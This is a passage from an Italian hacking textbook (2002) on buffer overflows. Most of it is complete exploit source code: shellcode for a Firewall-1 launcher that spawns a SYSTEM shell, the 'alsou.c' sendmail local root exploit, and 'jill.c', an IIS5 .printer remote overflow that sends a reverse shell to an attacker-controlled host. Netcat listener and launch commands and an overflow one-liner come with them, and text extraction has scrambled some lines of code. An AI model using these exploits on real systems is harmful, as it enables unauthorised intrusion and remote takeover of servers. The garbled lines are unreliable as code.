"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\xCC\x2B\x16\xEA\x77\x90\x90\xEB\x05\x4A\xD5" "\xEC\x77\x90\x90\x90\x90\x90\x66\x81\xE9\x5B\x29\x31\xDB\xB8\x99" "\x99\x99\x99\x31\x01\x83\xC1\x04\x83\xC3\x04\x66\x81\xFB\xC0\x04" "\x7E\xF1\x66\x81\xE9\x4E\x01\x31\xC0\x40\x29\x01\x90\x90\x90\x71" "\x99\x99\x99\x99\xC4\x18\x74\x40\xB8\xD9\x99\x14\x2C\x6B\xBD\xD9" "\x99\x14\x24\x63\xBD\xD9\x99\xF3\x9E\x09\x09\x09\x09\xC0\x71\x4B" "\x9B\x99\x99\x14\x2C\xB3\xBC\xD9\x99\x14\x24\xAA\xBC\xD9\x99\xF3" "\x93\x09\x09\x09\x09\xC0\x71\x23\x9B\x99\x99\xF3\x99\x14\x2C\x40" "\xBC\xD9\x99\xCF\x14\x2C\x7C\xBC\xD9\x99\xCF\x14\x2C\x70\xBC\xD9" "\x99\xCF\x66\x0C\xAA\xBC\xD9\x99\xF3\x99\x14\x2C\x40\xBC\xD9\x99" "\xCF\x14\x2C\x74\xBC\xD9\x99\xCF\x14\x2C\x68\xBC\xD9\x99\xCF\x66" "\x0C\xAA\xBC\xD9\x99\x5E\x1C\x6C\xBC\xD9\x99\xDD\x99\x99\x99\x14" "\x2C\x6C\xBC\xD9\x99\xCF\x66\x0C\xAE\xBC\xD9\x99\x14\x2C\xB4\xBF" "\xD9\x99\x34\xC9\x66\x0C\xCA\xBC\xD9\x99\x14\x2C\xA8\xBF\xD9\x99" "\x34\xC9\x66\x0C\xCA\xBC\xD9\x99\x14\x2C\x68\xBC\xD9\x99\x14\x24" "\xB4\xBF\xD9\x99\x3C\x14\x2C\x7C\xBC\xD9\x99\x34\x14\x24\xA8\xBF" "\xD9\x99\x32\x14\x24\xAC\xBF\xD9\x99\x32\x5E\x1C\xBC\xBF\xD9\x99" \x99\x99\x99\x99\x5E\x1C\xB8\xBF\xD9\x99\x98\x98\x99\x99\x14\x2C" "\xA0\xBF\xD9\x99\xCF\x14\x2C\x6C\xBC\xD9\x99\xCF\xF3\x99\xF3\x99" "\xF3\x89\xF3\x98\xF3\x99\xF3\x99\x14\x2C\xD0\xBF\xD9\x99\xCF\xF3" "\x99\x66\x0C\xA2\xBC\xD9\x99\xF1\x99\xB9\x99\x99\x09\xF1\x99\x9B" "\x99\x99\x66\x0C\xDA\xBC\xD9\x99\x10\x1C\xC8\xBF\xD9\x99\xAA\x59" "\xC9\xD9\xC9\xD9\xC9\x66\x0C\x63\xBD\xD9\x99\xC9\xC2\xF3\x89\x14" "\x2C\x50\xBC\xD9\x99\xCF\xCA\x66\x0C\x67\xBD\xD9\x99\xF3\x9A\xCA" "\x66\x0C\x9B\xBC\xD9\x99\x14\x2C\xCC\xBF\xD9\x99\xCF\x14\x2C\x50" "\xBC\xD9\x99\xCF\xCA\x66\x0C\x9F\xBC\xD9\x99\x14\x24\xC0\xBF\xD9" "\x99\x32\xAA\x59\xC9\x14\x24\xFC\xBF\xD9\x99\xCE\xC9\xC9\xC9\x14" "\x2C\x70\xBC\xD9\x99\x34\xC9\x66\x0C\xA6\xBC\xD9\x99\xF3\xA9\x66" "\x0C\xD6\xBC\xD9\x99\x72\xD4\x09\x09\x09\xAA\x59\xC9\x14\x24\xFC" "\xBF\xD9\x99\xCE\xC9\xC9\xC9\x14\x2C\x70\xBC\xD9\x99\x34\xC9\x66" "\x0C\xA6\xBC\xD9\x99\xF3\xA9\x66\x0C\xD6\xBC\xD9\x99\x1A\x24\xFC" "\xBF\xD9\x99\x9B\x96\x1B\x8E\x98\x99\x99\x18\x24\xFC\xBF\xD9\x99" "\x98\xB9\x99\x99\xEB\x97\x09\x09\x09\x09\x5E\x1C\xFC\xBF\xD9\x99" "\x99\xB9\x99\x99\xF3\x99\x12\x1C\xFC\xBF\xD9\x99\x14\x24\xFC\xBF" "\xD9\x99\xCE\xC9\x12\x1C\xC8\xBF\xD9\x99\xC9\x14\x2C\x70\xBC\xD9" "\x99\x34\xC9\x66\x0C\xDE\xBC\xD9\x99\xF3\xA9\x66\x0C\xD6\xBC\xD9" "\x99\x12\x1C\xFC\xBF\xD9\x99\xF3\x99\xC9\x14\x2C\xC8\xBF\xD9\x99" "\x34\xC9\x14\x2C\xC0\xBF\xD9\x99\x34\xC9\x66\x0C\x93\xBC\xD9\x99" "\xF3\x99\x14\x24\xFC\xBF\xD9\x99\xCE\xF3\x99\xF3\x99\xF3\x99\x14" "\x2C\x70\xBC\xD9\x99\x34\xC9\x66\x0C\xA6\xBC\xD9\x99\xF3\xA9\x66" "\x0C\xD6\xBC\xD9\x99\xAA\x50\xA0\x14\xFC\xBF\xD9\x99\x96\x1E\xFE" "\x66\x66\x66\xF3\x99\xF1\x99\xB9\x99\x99\x09\x14\x2C\xC8\xBF\xD9" "\x99\x34\xC9\x14\x2C\xC0\xBF\xD9\x99\x34\xC9\x66\x0C\x97\xBC\xD9"

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


"\x99\x10\x1C\xF8\xBF\xD9\x99\xF3\x99\x14\x24\xFC\xBF\xD9\x99\xCE" "\xC9\x14\x2C\xC8\xBF\xD9\x99\x34\xC9\x14\x2C\x74\xBC\xD9\x99\x34" "\xC9\x66\x0C\xD2\xBC\xD9\x99\xF3\xA9\x66\x0C\xD6\xBC\xD9\x99\xF3" "\x99\x12\x1C\xF8\xBF\xD9\x99\x14\x24\xFC\xBF\xD9\x99\xCE\xC9\x12" "\x1C\xC8\xBF\xD9\x99\xC9\x14\x2C\x70\xBC\xD9\x99\x34\xC9\x66\x0C" "\xDE\xBC\xD9\x99\xF3\xA9\x66\x0C\xD6\xBC\xD9\x99\x70\x20\x67\x66" "\x66\x14\x2C\xC0\xBF\xD9\x99\x34\xC9\x66\x0C\x8B\xBC\xD9\x99\x14" "\x2C\xC4\xBF\xD9\x99\x34\xC9\x66\x0C\x8B\xBC\xD9\x99\xF3\x99\x66" "\x0C\xCE\xBC\xD9\x99\xC8\xCF\xF1\xED\xDC\x16\x99\x09\xC3\x66\x8B" "\xC9\xC2\xC0\xCE\xC7\xC8\xCF\xCA\xF1\xE1\xDC\x16\x99\x09\xC3\x66" "\x8B\xC9\x35\x1D\x59\xEC\x62\xC1\x32\xC0\x7B\x70\x5A\xCE\xCA\xD6" "\xDA\xD2\xAA\xAB\x99\xEA\xF6\xFA\xF2\xFC\xED\x99\xFB\xF0\xF7\xFD" "\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED\x99\xEA" "\xFC\xF7\xFD\x99\xEB\xFC\xFA\xEF\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6" "\xFA\xF2\xFC\xED\x99\xD2\xDC\xCB\xD7\xDC\xD5\xAA\xAB\x99\xDA\xEB" "\xFC\xF8\xED\xFC\xC9\xF0\xE9\xFC\x99\xDE\xFC\xED\xCA\xED\xF8\xEB" "\xED\xEC\xE9\xD0\xF7\xFE\xF6\xD8\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9" "\xEB\xF6\xFA\xFC\xEA\xEA\xD8\x99\xC9\xFC\xFC\xF2\xD7\xF8\xF4\xFC" "\xFD\xC9\xF0\xE9\xFC\x99\xDE\xF5\xF6\xFB\xF8\xF5\xD8\xF5\xF5\xF6" "\xFA\x99\xCB\xFC\xF8\xFD\xDF\xF0\xF5\xFC\x99\xCE\xEB\xF0\xED\xFC" "\xDF\xF0\xF5\xFC\x99\xCA\xF5\xFC\xFC\xE9\x99\xDA\xF5\xF6\xEA\xFC" "\xD1\xF8\xF7\xFD\xF5\xFC\x99\xDC\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC" "\xEA\xEA\x99\xDA\xF6\xFD\xFC\xFD\xB9\xFB\xE0\xB9\xE5\xC3\xF8\xF7" "\xB9\xA5\xF0\xE3\xF8\xF7\xD9\xFD\xFC\xFC\xE9\xE3\xF6\xF7\xFC\xB7" "\xF6\xEB\xFE\xA7\x9B\x99\x86\xD1\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x95\x99\x99\x99\x99\x99\x99\x99\x98\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\xDA\xD4\xDD\xB7\xDC\xC1\xDC\x99\x99\x99\x99\x99" "\x89\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x90\x90\x90\x90\x90\x00"; FILE *fp; unsigned short int a_port;

printf ("\nFirewall-1 buffer overflow launcher\nby Indigo <indigo@exploitingstuff.com> 2001\n\n"); printf ("To perform this exploit you must attack from a valid GUI client machine\n"); printf ("i.e. your IP address must be contained in the $FWDIR/conf/gui-clients file\n"); printf ("This program will create a binary file called exploit.bin\n"); printf ("First open the Firewall-1 GUI log viewer program then enter\nthe victim IP address in the Management Server field\n"); printf ("and a few random characters in the password field,\n"); printf ("open badboy.bin in notepad, highlight it all then copy it to the clipboard.\n"); printf ("Paste it into the User Name field of the GUI log viewer then click OK.\n\n"); printf ("Launch netcat: nc <victim host> <victim port>\n"); printf ("\nThe exploit spawns a SYSTEM shell on the chosen port\n\n"); if (argc != 2) { printf ("Usage: %s <victim port>\n", argv[0]); exit (0); } a_port = htons(atoi(argv[1])); a_port^= 0x9999; shellcode[1567]= (a_port) & 0xff; shellcode[1568]= (a_port >> 8) & 0xff;

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


fp = fopen ("./exploit.bin","wb"); fputs (shellcode,fp); fclose (fp); return 0; }

Sendmail e buffer overflow


Una delle domande che potrebbero sorgere relativamente ai buffers overflow dove questi possono trovare un applicazione. Chiaramente la risposta ovunque un programma esegue un input dallesterno. Una cosa che dobbiamo sempre ricordarci che anche servizi offerti dea servers vari possono essere utilizzati anche da programmi non esplicitamente destinati alla loro gestione. Cosa significa questo ? Prendiamo le funzioni offerte da un mail server come Sendmail. Chiaramente si pensa che linterazione con un software come questo debba di fatto essere eseguito da un client come ad esempio Outlook o TheBat!. Sbagliato. Lhacker in genere relaziona con questi mediante la falsificazione eseguita con NETCAT o con TELNET. Riportiamo sempre come esempio quello di Sendmail. Questo possiede un buffer di 128 bytes utilizzato dal comando VRFY di questo nel quale dovrebbe essere inserito uno username. Se volessimo cercare di mandare in tilt sendmail potremmo inserire dentro a questo buffer una stringa di 2000 caratteri, ad esempio. Ricordiamoci che i comandi come NETCAT possono essere usati in congiunzione con altri mediante loperatore pipe ( | ). Lesempio di prima potrebbe essere eseguito tramite : echo vrfy perl e print a x 1000 |nc www.target.com 25 Mediante il perl eseguiamo la stampa di 1000 caratteri a allinterno del buffer usato da vrfy sul sistema specificato come argomento di netcat sulla porta 25. Un sorgente legato allexploit di SENDMAIL mediante buffer overflow quelo che segue : /* * * * * * * * * * * * * * * * * * * * * alsou.c sendmail-8.11.x linux x86 exploit To use this exploit you should know two numbers: VECT and GOT. Use gdb to find the first: $ gdb -q /usr/sbin/sendmail (gdb) break tTflag Breakpoint 1 at 0x8080629 (gdb) r -d1-1.1 Starting program: /usr/sbin/sendmail -d1-1.1 Breakpoint 1, 0x8080629 in tTflag () (gdb) disassemble tTflag ............. 0x80806ea <tTflag+202>: dec %edi 0x80806eb <tTflag+203>: mov %edi,0xfffffff8(%ebp) 0x80806ee <tTflag+206>: jmp 0x80806f9 <tTflag+217> 0x80806f0 <tTflag+208>: mov 0x80b21f4,%eax

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


* ^^^^^^^^^^^^^^^^^^ address of VECT * 0x80806f5 <tTflag+213>: mov %bl,(%esi,%eax,1) * 0x80806f8 <tTflag+216>: inc %esi * 0x80806f9 <tTflag+217>: cmp 0xfffffff8(%ebp),%esi * 0x80806fc <tTflag+220>: jle 0x80806f0 <tTflag+208> * ............. * (gdb) x/x 0x80b21f4 * 0x80b21f4 <tTvect>: 0x080b9ae0 * ^^^^^^^^^^^^^ VECT * * Use objdump to find the second: * $ objdump -R /usr/sbin/sendmail |grep setuid * 0809e07c R_386_JUMP_SLOT setuid * ^^^^^^^^^ GOT * * Probably you should play with OFFSET to make exploit work. * * Constant values, written in this code found for sendmail-8.11.4 * on RedHat-6.2. For sendmail-8.11.0 on RedHat-6.2 try VECT = 0x080b9ae0 and * GOT = 0x0809e07c. * * To get r00t type ./alsou and then press Ctrl+C. * * * grange <grange@rt.mipt.ru> * */ #include <sys/types.h> #include <stdlib.h> #define OFFSET 1000 #define VECT 0x080baf20 #define GOT 0x0809f544 #define NOPNUM 1024 char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31" "\xc0\x88\x43\x07\x89\x5b\x08\x89" "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0" "\x0b\xcd\x80\xe8\xe6\xff\xff\xff" "/bin/sh"; unsigned int get_esp() { __asm__("movl %esp,%eax"); } int main(int argc, char *argv[]) { char *egg, s[256], tmp[256], *av[3], *ev[2]; unsigned int got = GOT, vect = VECT, ret, first, last, i; egg = (char *)malloc(strlen(shellcode) + NOPNUM + 5); if (egg == NULL) { perror("malloc()"); exit(-1); }

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


sprintf(egg, "EGG="); memset(egg + 4, 0x90, NOPNUM); sprintf(egg + 4 + NOPNUM, "%s", shellcode); ret = get_esp() + OFFSET; sprintf(s, "-d"); first = -vect - (0xffffffff - got + 1); last = first; while (ret) { i = ret & 0xff; sprintf(tmp, "%u-%u.%u-", first, last, i); strcat(s, tmp); last = ++first; ret = ret >> 8; } s[strlen(s) - 1] = '\0'; av[0] = "/usr/sbin/sendmail"; av[1] = s; av[2] = NULL; ev[0] = egg; ev[1] = NULL; execve(*av, av, ev); }

Esempi pratici di buffers overflow


Il buffer overflow pu essere ovunque e precisamente in qualsiasi punto dove una programma accetta direttamente o indirettamente dellinput. Ad esempio era stato scoperto un buffer overflow allinterno del campo della data della testata dei messaggi accettati da qualche mail server. Se ad esempio ci fossimo collegati al solito mailserver con TELNET o con NETCAT e avessimo digitato nel punto dove avrebbe dovuto essere inserita la data un buffer di 100 caratteri con alla fine il codice che avrebbe dovuto essere eseguito, questo avrebbe compiuto il suo compito ovvero quello di creare uno sconfinamento del buffer con esecuzione perniciosa del codice. Ma vediamo qualche esempio di buffer overflow particolare. Uno di quelli a pericolosit altissima per il WEB Server IIS quello definito con il termine di IPP Buffer Overflow. Questo avviene quando il buffer assume come dimensioni circa 420 bytes. Questo tipo di problema derivava da un filtro ISAPI che permetteva la gestione dei files .printer.

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book

La DLL che aveva il problema era x:\winnt\system32\msw3prt.dll Se aprivamo con telnet o con netcat una comunicazione con il server WEB mediante : telnet host 80 e digitavamo : GET /NULL.printer http/1.0 Host: [buffer di 420 bytes] Allora causavamo un buffer overflow che obbligava inetinfo.exe a ripartire dopo un crash. Lexploit relativo a questo bug il seguente.
/* IIS 5 remote .printer overflow. "jill.c" (don't ask). * * by: dark spyrit <dspyrit@beavuh.org> * * respect to eeye for finding this one - nice work. * shouts to halvar, neofight and the beavuh bitchez. * * this exploit overwrites an exception frame to control eip and get to * our code.. the code then locates the pointer to our larger buffer and * execs. * * usage: jill <victim host> <victim port> <attacker host> <attacker port> * * the shellcode spawns a reverse cmd shell.. so you need to set up a * netcat listener on the host you control. * * Ex: nc -l -p <attacker port> -vv * * I haven't slept in years. */ #include #include #include #include #include #include #include #include #include #include #include #include <sys/types.h> <sys/time.h> <sys/socket.h> <netinet/in.h> <arpa/inet.h> <unistd.h> <errno.h> <stdlib.h> <stdio.h> <string.h> <fcntl.h> <netdb.h>

int main(int argc, char *argv[]){ /* the whole request rolled into one, pretty huh? carez. */ unsigned char sploit[]= "\x47\x45\x54\x20\x2f\x4e\x55\x4c\x4c\x2e\x70\x72\x69\x6e\x74\x65\x72\x20" "\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x42\x65\x61\x76\x75\x68\x3a\x20" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90" "\x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95" "\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95" "\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3" "\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa" "\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91" "\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6" "\x5c\xf3\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95\x96\x56" "\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d\xe1\x94\x95\x95\xa6\x55" "\x39\x10\x55\xe0\x6c\xc7\xc3\x6a\xc2\x41\xcf\x1e\x4d\x2c\x93\x95\x95\x95" "\x7d\xce\x94\x95\x95\x52\xd2\xf1\x99\x95\x95\x95\x52\xd2\xfd\x95\x95\x95" "\x95\x52\xd2\xf9\x94\x95\x95\x95\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x85\xc5"

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


"\x18\xd2\x81\xc5\x6a\xc2\x55\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x8d\xc5\x18" "\xd2\x89\xc5\x6a\xc2\x55\x52\xd2\xb5\xd1\x95\x95\x95\x18\xd2\xb5\xc5\x6a" "\xc2\x51\x1e\xd2\x85\x1c\xd2\xc9\x1c\xd2\xf5\x1e\xd2\x89\x1c\xd2\xcd\x14" "\xda\xd9\x94\x94\x95\x95\xf3\x52\xd2\xc5\x95\x95\x18\xd2\xe5\xc5\x18\xd2" "\xb5\xc5\xa6\x55\xc5\xc5\xc5\xff\x94\xc5\xc5\x7d\x95\x95\x95\x95\xc8\x14" "\x78\xd5\x6b\x6a\x6a\xc0\xc5\x6a\xc2\x5d\x6a\xe2\x85\x6a\xc2\x71\x6a\xe2" "\x89\x6a\xc2\x71\xfd\x95\x91\x95\x95\xff\xd5\x6a\xc2\x45\x1e\x7d\xc5\xfd" "\x94\x94\x95\x95\x6a\xc2\x7d\x10\x55\x9a\x10\x3f\x95\x95\x95\xa6\x55\xc5" "\xd5\xc5\xd5\xc5\x6a\xc2\x79\x16\x6d\x6a\x9a\x11\x02\x95\x95\x95\x1e\x4d" "\xf3\x52\x92\x97\x95\xf3\x52\xd2\x97\x8e\xac\x52\xd2\x91\x5e\x38\x4c\xb3" "\xff\x85\x18\x92\xc5\xc6\x6a\xc2\x61\xff\xa7\x6a\xc2\x49\xa6\x5c\xc4\xc3" "\xc4\xc4\xc4\x6a\xe2\x81\x6a\xc2\x59\x10\x55\xe1\xf5\x05\x05\x05\x05\x15" "\xab\x95\xe1\xba\x05\x05\x05\x05\xff\x95\xc3\xfd\x95\x91\x95\x95\xc0\x6a" "\xe2\x81\x6a\xc2\x4d\x10\x55\xe1\xd5\x05\x05\x05\x05\xff\x95\x6a\xa3\xc0" "\xc6\x6a\xc2\x6d\x16\x6d\x6a\xe1\xbb\x05\x05\x05\x05\x7e\x27\xff\x95\xfd" "\x95\x91\x95\x95\xc0\xc6\x6a\xc2\x69\x10\x55\xe9\x8d\x05\x05\x05\x05\xe1" "\x09\xff\x95\xc3\xc5\xc0\x6a\xe2\x8d\x6a\xc2\x41\xff\xa7\x6a\xc2\x49\x7e" "\x1f\xc6\x6a\xc2\x65\xff\x95\x6a\xc2\x75\xa6\x55\x39\x10\x55\xe0\x6c\xc4" "\xc7\xc3\xc6\x6a\x47\xcf\xcc\x3e\x77\x7b\x56\xd2\xf0\xe1\xc5\xe7\xfa\xf6" "\xd4\xf1\xf1\xe7\xf0\xe6\xe6\x95\xd9\xfa\xf4\xf1\xd9\xfc\xf7\xe7\xf4\xe7" "\xec\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xfc\xe5\xf0\x95\xd2\xf0\xe1\xc6" "\xe1\xf4\xe7\xe1\xe0\xe5\xdc\xfb\xf3\xfa\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0" "\xc5\xe7\xfa\xf6\xf0\xe6\xe6\xd4\x95\xc5\xf0\xf0\xfe\xdb\xf4\xf8\xf0\xf1" "\xc5\xfc\xe5\xf0\x95\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6\x95\xc2" "\xe7\xfc\xe1\xf0\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4\xf1\xd3\xfc\xf9\xf0\x95" "\xc6\xf9\xf0\xf0\xe5\x95\xd0\xed\xfc\xe1\xc5\xe7\xfa\xf6\xf0\xe6\xe6\x95" "\xd6\xf9\xfa\xe6\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6" "\xa7\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6\xfa\xf6\xfe\xf0" "\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6\xfe\xf0\xe1\x95\xf6\xfa\xfb\xfb" "\xf0\xf6\xe1\x95\xe6\xf0\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8\xf1\xbb" "\xf0\xed\xf0\x95\x0d\x0a\x48\x6f\x73\x74\x3a\x20\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x33" "\xc0\xb0\x90\x03\xd8\x8b\x03\x8b\x40\x60\x33\xdb\xb3\x24\x03\xc3\xff\xe0" "\xeb\xb9\x90\x90\x05\x31\x8c\x6a\x0d\x0a\x0d\x0a"; int s; unsigned short int a_port; unsigned long a_host; struct hostent *ht; struct sockaddr_in sin; printf("iis5 remote .printer overflow.\n" "dark spyrit <dspyrit@beavuh.org> / beavuh labs.\n"); if (argc != 5){ printf("usage: <attackerPort>\n",argv[0]); exit(1); } %s <victimHost> <victimPort> <attackerHost>

if ((ht = gethostbyname(argv[1])) == 0){ herror(argv[1]); exit(1); } sin.sin_port = htons(atoi(argv[2])); a_port = htons(atoi(argv[4])); a_port^=0x9595; sin.sin_family = AF_INET;

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


sin.sin_addr = *((struct in_addr *)ht->h_addr); if ((ht = gethostbyname(argv[3])) == 0){ herror(argv[3]); exit(1); } a_host = *((unsigned long *)ht->h_addr); a_host^=0x95959595; sploit[441]= (a_port) & 0xff; sploit[442]= (a_port >> 8) & 0xff; sploit[446]= sploit[447]= sploit[448]= sploit[449]= (a_host) & (a_host >> (a_host >> (a_host >> 0xff; 8) & 0xff; 16) & 0xff; 24) & 0xff;

if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){ perror("socket"); exit(1); } printf("\nconnecting... \n"); if ((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1){ perror("connect"); exit(1); } write(s, sploit, strlen(sploit)); sleep (1); close (s); printf("sent... \nyou may need to send a carriage on your listener if the shell doesn't appear.\nhave fun!\n"); exit(0); }

Dopo aver compilato con Cgwin lexploit utilizziamo netcat per eseguire il listening sul sistema attaccante. C:\> nc vv l p 2002 Ora lanciamo JILL usando la stessa porta settata su netcat. C:\> jill 192.168.255.123 80 192.168.200.22 2002 Iis5 remote .printer overflow. Dark spyrit dspyrit@beavuh.org / beavuh labs. Connecting. Sent. You may need to sende a carriage on your listener if the shell doesnt appear. Have fun! Se tutto va come sperato dopo qualche istante apparir un shell remota. Precedentemente, nel capitolo relativo ai WEB Server, avevamo visto il BUG legato ai file IDQ e IDA. In pratica questo bugs permetteva specificando da browser il nome di un file con queste estensioni non esistente di avere come risposta il percorso di sistema di dove si trovava la radice del web. Legate alle DLL di gestione di questi files esiste un altro problema legato ai buffer overflow. Questo problema quello che il WORM CODE RED ha utilizzato per eseguire lexploit. Il buffer overflow simile a quello appena visto nelle pagine precedenti. Sempre nello stesso modo, con telnet o netcat, possibile aprire una connessione con il WEB Server della vittima utilizzante IIS. Quindi :

